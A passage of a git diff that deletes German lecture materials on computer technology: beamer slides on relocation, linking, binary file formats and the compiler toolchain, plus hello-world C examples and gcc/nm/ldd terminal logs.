\vspace*{-0.8cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(12.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(13.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){5.5}} - \put(13.95,-0.05){\vector(0,1){1}} - \put(13.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){2.5}} - \put(12.65,0.15){\vector(0,1){0.8}} - \put(12.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(11.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} - \pause - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(13.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(14.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){6.5}} - \put(14.95,-0.05){\vector(0,1){1}} - \put(14.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){3.5}} - \put(13.65,0.15){\vector(0,1){0.8}} - \put(13.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(12.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} - \end{center} - \pause - \vspace*{-0.8cm} - Sprünge anpassen: Linken - - \pause - \smallskip - - Beim Erzeugen der Datei: statisches Linken\\ - Beim Laden: dynamisches Linken - -\end{frame} - -\subsection{Dateiformate} - -\begin{frame} - - \visible<3->{\showsubsection} - - Man kann Maschinenprogramme nicht "`einfach so"' in den Speicher laden. - - \pause - \bigskip - - Sprünge anpassen - \begin{itemize} - \item - Relokation: Relokationstabelle - \item - Linken: Symboltabelle - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \vspace*{-0.5cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,6)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(0,0.8){\makebox(0,0)[tl]{Ausführbare Binärdatei}} - \put(0.5,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(2.0,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(3.5,1.2){$\overbrace{\rule{11.5\unitlength}{0pt}}$} - - \put(0,4.0){\line(1,0){5}} - \multiput(0,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(0,3.5){\line(1,0){5}} - \put(0,4.2){\makebox(0,0)[bl]{Relokationstabelle}} - \put(1.0,3.4){\line(0,-1){1.9}} - \put(3.75,3.4){\vector(1,-2){1.2}} - \put(4.25,3.4){\vector(1,-1){2.4}} - \put(4.75,3.4){\vector(2,-1){4.8}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(6,4.0){\line(1,0){5}} - \multiput(6,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(6,3.5){\line(1,0){5}} - \put(6,4.2){\makebox(0,0)[bl]{Symboltabelle}} - \put(6.4,3.4){\line(-2,-1){3.8}} - \put(10.25,3.4){\vector(1,-2){1.2}} - \put(10.75,3.4){\vector(1,-1){2.4}} - - \put(9.25,1.55){\line(0,1){1}} - \put(8.50,2.60){\makebox(0,0)[b]{Maschinenprogramm}} - - \put(11.45,0.95){\vector(0,-1){1}} - \put(11.45,-0.10){\makebox(0,0)[t]{\lstinline{scanf}}} - \put(13.15,0.95){\vector(0,-1){1}} - \put(13.15,-0.10){\makebox(0,0)[t]{\lstinline{printf}}} - \put(12.30,-0.50){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - - \end{picture} - \end{center} - - \vspace*{-1.2cm} - - \begin{onlyenv}<2> - - Ausführbare Binärdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabelle für dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: (keine), .elf, .com, .exe, .scr - - \end{onlyenv} - - \begin{onlyenv}<3> - - Objektdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabellen für statischen und dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: .o, .obj - - \end{onlyenv} - - \begin{onlyenv}<4-> - - \strut\\ - Bibliothek: - - \smallskip - - Zusammenfassung mehrerer Objekt-Dateien - - \smallskip - - Statische Bibliotheken: .a, .lib\\ - Dynamische Bibliotheken: .so, .dll - - \end{onlyenv} - -\end{frame} - -\subsection{Die Toolchain} - -\begin{frame}[fragile] - - \showsubsection - - \vspace*{-0.8cm} - \begin{center} - \addtolength{\leftskip}{4cm} - \small - \newcommand{\vtextarrow}[1]{% - \begin{picture}(0,0.8) - \put(0,0.8){\vector(0,-1){0.8}} - \put(0.125,0.4){\makebox(0,0)[l]{#1}} - \end{picture}} - - \framebox{\shortstack{\strut menschliche Gedanken}} - - \vtextarrow{Texteditor} - - \framebox{\shortstack{\strut C-Quelltext}} % (z.\,B.\ hello.c)}} - - \vtextarrow{Compiler} - - \framebox{\shortstack{\strut Assembler-Quelltext}} % (z.\,B.\ hello.s, hello.asm)}} - - \vtextarrow{Assembler} - - \framebox{\shortstack{\strut Objekt- und Bibliothek-Dateien}} % (z.\,B.\ hello.o, hello.obj)}} - - \vtextarrow{Linker} - - \framebox{\shortstack{\strut ausführbare Binärdatei}} % (z.\,B.\ hello, hello.exe)}} - - \vtextarrow{Loader} - - \framebox{\shortstack{\strut Programm im Speicher bereit zur Ausführung}} - \end{center} - - \pause - \vspace*{-7cm} - Automatischer Aufruf: - \begin{itemize} - \item - Entwicklungsumgebungen\\ - (z.\,B.\ Eclipse, Code::Blocks, \dots) - \medskip - \item - \file{gcc} = Compiler\\ - \hspace*{3em}+ Assembler\\ - \hspace*{3em}+ Linker\\ - \hspace*{3em}+ \dots - \medskip - \item - \file{make} kann \emph{alles} aufrufen - \end{itemize} - -\end{frame} - -\subsection{Besonderheiten von Mikro-Controllern} - -\begin{frame} - - \showsubsection - - Kein Betriebssystem\pause\\ - \textarrow\ kein Relocator, kein dynamischer Linker\pause\\ - \textarrow\ Wir müssen dem Mikro-Controller alles "`mundgerecht"' servieren. - - \pause - \smallskip - - \begin{itemize} - \item - fertiges ROM: Hersteller - \item - Flash-Speicher und In-System Programmer (ISP) - \item - Flash-Speicher und Boot-Loader - \end{itemize} - - \smallskip - - In jedem Fall: statisch linken, Relokation vorher - \begin{picture}(0,0) - \color{red} - \put(0.1,0.1){\line(1,0){1.2}} - \put(1.3,0.1){\vector(0,1){2.2}} - \end{picture}\\ - \textarrow\ ELF-Datei in HEX-Datei umwandeln - - \smallskip - - Format: Intel-Hex-Format\\ - Dateiendung: .hex - -\end{frame} - -\end{document} diff --git a/20210607/toolchain-1.txt b/20210607/toolchain-1.txt deleted file mode 100644 index 58a90da6e909e9076085c9604074bf49a539e6f8..0000000000000000000000000000000000000000 --- a/20210607/toolchain-1.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210607> ls -lrt fak-r-1* --rw-r--r-- 1 peter peter 173 Jun 1 11:55 fak-r-1.c -cassini/home/peter/bo/2021ss/rtech/20210607> gcc -Wall -O fak-r-1.c -S -cassini/home/peter/bo/2021ss/rtech/20210607> ls -lrt fak-r-1* --rw-r--r-- 1 peter peter 173 Jun 1 11:55 fak-r-1.c --rw-r--r-- 1 peter peter 810 Jun 7 18:32 fak-r-1.s -cassini/home/peter/bo/2021ss/rtech/20210607> gcc fak-r-1.s -c -cassini/home/peter/bo/2021ss/rtech/20210607> ls -lrt fak-r-1* --rw-r--r-- 1 peter peter 173 Jun 1 11:55 fak-r-1.c --rw-r--r-- 1 peter peter 810 Jun 7 18:32 fak-r-1.s --rw-r--r-- 1 peter peter 1736 Jun 7 18:33 fak-r-1.o -cassini/home/peter/bo/2021ss/rtech/20210607> gcc fak-r-1.o -o fak-r-1 -cassini/home/peter/bo/2021ss/rtech/20210607> ls -lrt fak-r-1* --rw-r--r-- 1 peter peter 173 Jun 1 11:55 fak-r-1.c --rw-r--r-- 1 peter peter 810 Jun 7 18:32 fak-r-1.s --rw-r--r-- 1 peter peter 1736 Jun 7 18:33 fak-r-1.o --rwxr-xr-x 1 peter peter 16640 Jun 7 18:34 fak-r-1 -cassini/home/peter/bo/2021ss/rtech/20210607> ./fak-r-1 -6! = 720 -cassini/home/peter/bo/2021ss/rtech/20210607> diff --git a/20210608/hello-1.c b/20210608/hello-1.c deleted file mode 100644 index 95066d98a9b3e6713957e0bc8ba4a34569596600..0000000000000000000000000000000000000000 --- a/20210608/hello-1.c +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char *s = "Hello, world!"; - printf ("%s\n", s); - return 0; -} diff --git a/20210608/hello-2.cpp b/20210608/hello-2.cpp deleted file mode 100644 index 2ec9589ba98d1a4146aa419c7ba3a1106b0d3f11..0000000000000000000000000000000000000000 --- a/20210608/hello-2.cpp +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> - -int main () -{ - char *s = "Hello, world!"; - printf ("%s\n", s); - return 0; -} diff --git a/20210608/hello-3.cpp b/20210608/hello-3.cpp deleted file mode 100644 index 9c3ba0001dfbfe82610a9260a6418d70d5f7947c..0000000000000000000000000000000000000000 --- a/20210608/hello-3.cpp +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> - -int main () -{ - const char *s = "Hello, world!"; - printf ("%s\n", s); - return 0; -} diff --git a/20210608/hello-4.cpp b/20210608/hello-4.cpp deleted file mode 100644 index 646bbb19440a353ce75eb918a78189b5d1d9f256..0000000000000000000000000000000000000000 --- a/20210608/hello-4.cpp +++ /dev/null @@ -1,9 +0,0 @@ -#include <iostream> -#include <string> - -int main () -{ - std::string s = "Hello, world!"; - std::cout << s << std::endl; - return 0; -} diff --git a/20210608/logo-hochschule-bochum-cvh-text-v2.pdf b/20210608/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210608/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210608/logo-hochschule-bochum.pdf b/20210608/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210608/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210608/main-program-1.c b/20210608/main-program-1.c deleted file mode 100644 index 59ea0c0028cbb0885f60b9520010beb9102ae9a6..0000000000000000000000000000000000000000 --- a/20210608/main-program-1.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> - -void print (char *s) -{ - printf ("%s\n", s); -} - -int main (void) -{ - print ("Hello, world!"); - return 0; -} diff --git a/20210608/main-program-2.c b/20210608/main-program-2.c deleted file mode 100644 index 3fa68b1e00cad4bf51c915d16ef1273375358d76..0000000000000000000000000000000000000000 --- a/20210608/main-program-2.c +++ /dev/null @@ -1,7 +0,0 @@ -extern void print (char *s); - -int main (void) -{ - print ("Hello, world!"); - return 0; -} diff --git a/20210608/module-2.c b/20210608/module-2.c deleted file mode 100644 index 1e4e6f7cc61aabe0c26fb797306bab75039f873b..0000000000000000000000000000000000000000 --- a/20210608/module-2.c +++ /dev/null @@ -1,6 +0,0 @@ -#include <stdio.h> - -void print (char *s) -{ - printf ("%s\n", s); -} diff --git a/20210608/modules-1.txt b/20210608/modules-1.txt deleted file mode 100644 index ab5cce983cdbbe7f984a7b943e6606337acb5608..0000000000000000000000000000000000000000 --- a/20210608/modules-1.txt +++ /dev/null @@ -1,22 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210608> cat main-program-2.c -extern void print (char *s); - -int main (void) -{ - print ("Hello, world!"); - return 0; -} -cassini/home/peter/bo/2021ss/rtech/20210608> cat module-2.c -#include <stdio.h> - -void print (char *s) -{ - printf ("%s\n", s); -} -cassini/home/peter/bo/2021ss/rtech/20210608> gcc -Wall -O main-program-2.c module-2.c -o main-program-2 -cassini/home/peter/bo/2021ss/rtech/20210608> ./main-program-2 -Hello, world! -cassini/home/peter/bo/2021ss/rtech/20210608> gcc -Wall -O main-program-2.c -o main-program-2 /usr/bin/ld: /tmp/ccUY2lSw.o: in function `main': -main-program-2.c:(.text+0xc): undefined reference to `print' -collect2: error: ld returned 1 exit status -cassini/home/peter/bo/2021ss/rtech/20210608> diff --git a/20210608/modules-2.txt b/20210608/modules-2.txt deleted file mode 100644 index 40b98cc75241797784fbe75e0a4caec52f10a395..0000000000000000000000000000000000000000 --- a/20210608/modules-2.txt +++ /dev/null @@ -1,24 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210608> gcc -Wall -O main-program-2.c -o main-program-2 -/usr/bin/ld: /tmp/ccHKsgcU.o: in function `main': -main-program-2.c:(.text+0xc): undefined reference to `print' -collect2: error: ld returned 1 exit status -cassini/home/peter/bo/2021ss/rtech/20210608> ls -l main-program-2* --rw-r--r-- 1 peter peter 89 Jun 8 11:24 main-program-2.c -cassini/home/peter/bo/2021ss/rtech/20210608> gcc -Wall -O main-program-2.c -c -cassini/home/peter/bo/2021ss/rtech/20210608> ls -l main-program-2* --rw-r--r-- 1 peter peter 89 Jun 8 11:24 main-program-2.c --rw-r--r-- 1 peter peter 1560 Jun 8 11:27 main-program-2.o -cassini/home/peter/bo/2021ss/rtech/20210608> file main-program-2.o -main-program-2.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped -cassini/home/peter/bo/2021ss/rtech/20210608> gcc main-program-2.o -o main-program-2 -/usr/bin/ld: main-program-2.o: in function `main': -main-program-2.c:(.text+0xc): undefined reference to `print' -collect2: error: ld returned 1 exit status -cassini/home/peter/bo/2021ss/rtech/20210608> gcc -Wall -O module-2.c -c -cassini/home/peter/bo/2021ss/rtech/20210608> ls -l module-2* --rw-r--r-- 1 peter peter 67 Jun 8 11:24 module-2.c --rw-r--r-- 1 peter peter 1384 Jun 8 11:29 module-2.o -cassini/home/peter/bo/2021ss/rtech/20210608> gcc main-program-2.o module-2.o -o main-program-2 -cassini/home/peter/bo/2021ss/rtech/20210608> ./main-program-2 -Hello, world! -cassini/home/peter/bo/2021ss/rtech/20210608> diff --git a/20210608/modules-3.txt b/20210608/modules-3.txt deleted file mode 100644 index 2d0b64b775277b8354cd3ee81e68da5691c88aed..0000000000000000000000000000000000000000 --- a/20210608/modules-3.txt +++ /dev/null @@ -1,10 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210608> nm main-program-2.o - U _GLOBAL_OFFSET_TABLE_ -0000000000000000 r .LC0 -0000000000000000 T main - U print -cassini/home/peter/bo/2021ss/rtech/20210608> nm module-2.o - U _GLOBAL_OFFSET_TABLE_ -0000000000000000 T print - U puts -cassini/home/peter/bo/2021ss/rtech/20210608> diff --git a/20210608/modules-4.txt b/20210608/modules-4.txt deleted file mode 100644 index c87ac747ae7471d3ce41d30313017a57602ac378..0000000000000000000000000000000000000000 --- a/20210608/modules-4.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210608> nm main-program-2.o - U _GLOBAL_OFFSET_TABLE_ -0000000000000000 r .LC0 -0000000000000000 T main - U print -cassini/home/peter/bo/2021ss/rtech/20210608> nm module-2.o - U _GLOBAL_OFFSET_TABLE_ -0000000000000000 T print - U puts -cassini/home/peter/bo/2021ss/rtech/20210608> gcc main-program-2.o module-2.o -o main-program-2 -cassini/home/peter/bo/2021ss/rtech/20210608> ldd main-program-2 - linux-vdso.so.1 (0x00007ffc9d1e1000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f73a5a8b000) - /lib64/ld-linux-x86-64.so.2 (0x00007f73a5c95000) -cassini/home/peter/bo/2021ss/rtech/20210608> diff --git a/20210608/rtech-20210608.pdf b/20210608/rtech-20210608.pdf deleted file mode 100644 index 322cf721cf0e83d6832fadd16f8725b1860f8ac5..0000000000000000000000000000000000000000 Binary files a/20210608/rtech-20210608.pdf and /dev/null differ diff --git a/20210608/rtech-20210608.tex b/20210608/rtech-20210608.tex deleted file mode 100644 index 220bfc8d0444c8872803fdd6c93d12e208706a6a..0000000000000000000000000000000000000000 --- a/20210608/rtech-20210608.tex +++ /dev/null @@ -1,609 +0,0 @@ -% rtech-20210608.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: CPU-Stack, Anwender-Software - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{8.\ Juni 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \begin{itemize} - \color{medgreen} - \item[4.1] Implementation - \item[4.2] Unterprogramme - \item[4.3] Register sichern - \item[4.4] Stack-Überläufe - \color{red} - \item[4.5] Puffer-Überläufe - \end{itemize} - \color{gray} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} - \item[\textbf{5}] \textbf{Anwender-Software} - \begin{itemize} - \color{medgreen} - \item[5.1] Relokation und Linken - \item[5.2] Dateiformate - \item[5.3] Die Toolchain - \item[5.4] Besonderheiten von Mikrocontrollern - \end{itemize} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{4} - -\section{Anwender-Software} -\subsection{Relokation und Linken} - -\begin{frame}[fragile] - - \showsection - \vspace*{-\smallskipamount} - \showsubsection - - Software im Speicher - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,3)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<2->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} -% \pause - \begin{picture}(15,3)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<2->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} - \end{center} -% \pause - \vspace*{-0.8cm} - Sprünge anpassen: Relokation - - \pause - \smallskip - - Hardware-Unterstützung (z.\,B.\ Intel): Speichersegmentierung - - \lstinline{CS} = Code-Segment: Segment-Register oder Selektor - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - \vspace*{-0.8cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(12.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(13.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){5.5}} - \put(13.95,-0.05){\vector(0,1){1}} - \put(13.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){2.5}} - \put(12.65,0.15){\vector(0,1){0.8}} - \put(12.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(11.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} -% \pause - \begin{picture}(15,4.2)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{8.0\unitlength}{0pt}}$} - \put(7.50,1.55){\makebox(0,0)[b]{Programm}} - \put(13.2,2.2){$\overbrace{\rule{3.0\unitlength}{0pt}}$} - \put(14.7,2.55){\makebox(0,0)[b]{Bibliothek}} - - \put(8.45,0.95){\line(0,-1){1}} - \put(8.45,-0.05){\line(1,0){6.5}} - \put(14.95,-0.05){\vector(0,1){1}} - \put(14.95,1.25){\begin{rotate}{45}\normalsize\lstinline{scanf}\end{rotate}} - \put(10.15,0.95){\line(0,-1){0.8}} - \put(10.15,0.15){\line(1,0){3.5}} - \put(13.65,0.15){\vector(0,1){0.8}} - \put(13.65,1.25){\begin{rotate}{45}\normalsize\lstinline{printf}\end{rotate}} - \put(12.20,-0.25){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - \end{picture} - \end{center} -% \pause - \vspace*{-0.8cm} - Sprünge anpassen: Linken - -% \pause - \smallskip - - Beim Erzeugen der Datei: statisches Linken\\ - Beim Laden: dynamisches Linken - -\end{frame} - -\subsection{Dateiformate} - -\begin{frame} - - \visible<1->{\showsubsection} - - Man kann Maschinenprogramme nicht "`einfach so"' in den Speicher laden. - -% \pause - \bigskip - - Sprünge anpassen - \begin{itemize} - \item - Relokation: Relokationstabelle - \item - Linken: Symboltabelle - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \vspace*{-0.5cm} - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,6)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(0,0.8){\makebox(0,0)[tl]{Ausführbare Binärdatei}} - \put(0.5,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(2.0,1.2){$\overbrace{\rule{1.0\unitlength}{0pt}}$} - \put(3.5,1.2){$\overbrace{\rule{11.5\unitlength}{0pt}}$} - - \put(0,4.0){\line(1,0){5}} - \multiput(0,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(0,3.5){\line(1,0){5}} - \put(0,4.2){\makebox(0,0)[bl]{Relokationstabelle}} - \put(1.0,3.4){\line(0,-1){1.9}} - \put(3.75,3.4){\vector(1,-2){1.2}} - \put(4.25,3.4){\vector(1,-1){2.4}} - \put(4.75,3.4){\vector(2,-1){4.8}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(6,4.0){\line(1,0){5}} - \multiput(6,3.5)(0.5,0){11}{\line(0,1){0.5}} - \put(6,3.5){\line(1,0){5}} - \put(6,4.2){\makebox(0,0)[bl]{Symboltabelle}} - \put(6.4,3.4){\line(-2,-1){3.8}} - \put(10.25,3.4){\vector(1,-2){1.2}} - \put(10.75,3.4){\vector(1,-1){2.4}} - - \put(9.25,1.55){\line(0,1){1}} - \put(8.50,2.60){\makebox(0,0)[b]{Maschinenprogramm}} - - \put(11.45,0.95){\vector(0,-1){1}} - \put(11.45,-0.10){\makebox(0,0)[t]{\lstinline{scanf}}} - \put(13.15,0.95){\vector(0,-1){1}} - \put(13.15,-0.10){\makebox(0,0)[t]{\lstinline{printf}}} - \put(12.30,-0.50){\makebox(0,0)[t]{Sprünge aus dem Programm heraus}} - - \end{picture} - \end{center} - - \vspace*{-1.2cm} - - \begin{onlyenv}<2> - - Ausführbare Binärdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabelle für dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: (keine), .elf, .com, .exe, .scr - - \end{onlyenv} - - \begin{onlyenv}<3> - - Objektdatei: - - \smallskip - - Relokationstabelle,\\ - Symboltabellen für statischen und dynamischen Linker - - \smallskip - - Formate: a.out, COFF, ELF, \dots\\ - Dateiendungen: .o, .obj - - \end{onlyenv} - - \begin{onlyenv}<4-> - - \strut\\ - Bibliothek: - - \smallskip - - Zusammenfassung mehrerer Objekt-Dateien - - \smallskip - - Statische Bibliotheken: .a, .lib\\ - Dynamische Bibliotheken: .so, .dll - - \end{onlyenv} - -\end{frame} - -\subsection{Die Toolchain} - -\begin{frame}[fragile] - - \showsubsection - - \vspace*{-0.8cm} - \begin{center} - \addtolength{\leftskip}{4cm} - \small - \newcommand{\vtextarrow}[1]{% - \begin{picture}(0,0.8) - \put(0,0.8){\vector(0,-1){0.8}} - \put(0.125,0.4){\makebox(0,0)[l]{#1}} - \end{picture}} - - \framebox{\shortstack{\strut menschliche Gedanken}} - - \vtextarrow{Texteditor} - - \framebox{\shortstack{\strut C-Quelltext}} % (z.\,B.\ hello.c)}} - - \vtextarrow{Compiler} - - \framebox{\shortstack{\strut Assembler-Quelltext}} % (z.\,B.\ hello.s, hello.asm)}} - - \vtextarrow{Assembler} - - \framebox{\shortstack{\strut Objekt- und Bibliothek-Dateien}} % (z.\,B.\ hello.o, hello.obj)}} - - \vtextarrow{Linker} - - \framebox{\shortstack{\strut ausführbare Binärdatei}} % (z.\,B.\ hello, hello.exe)}} - - \vtextarrow{Loader} - - \framebox{\shortstack{\strut 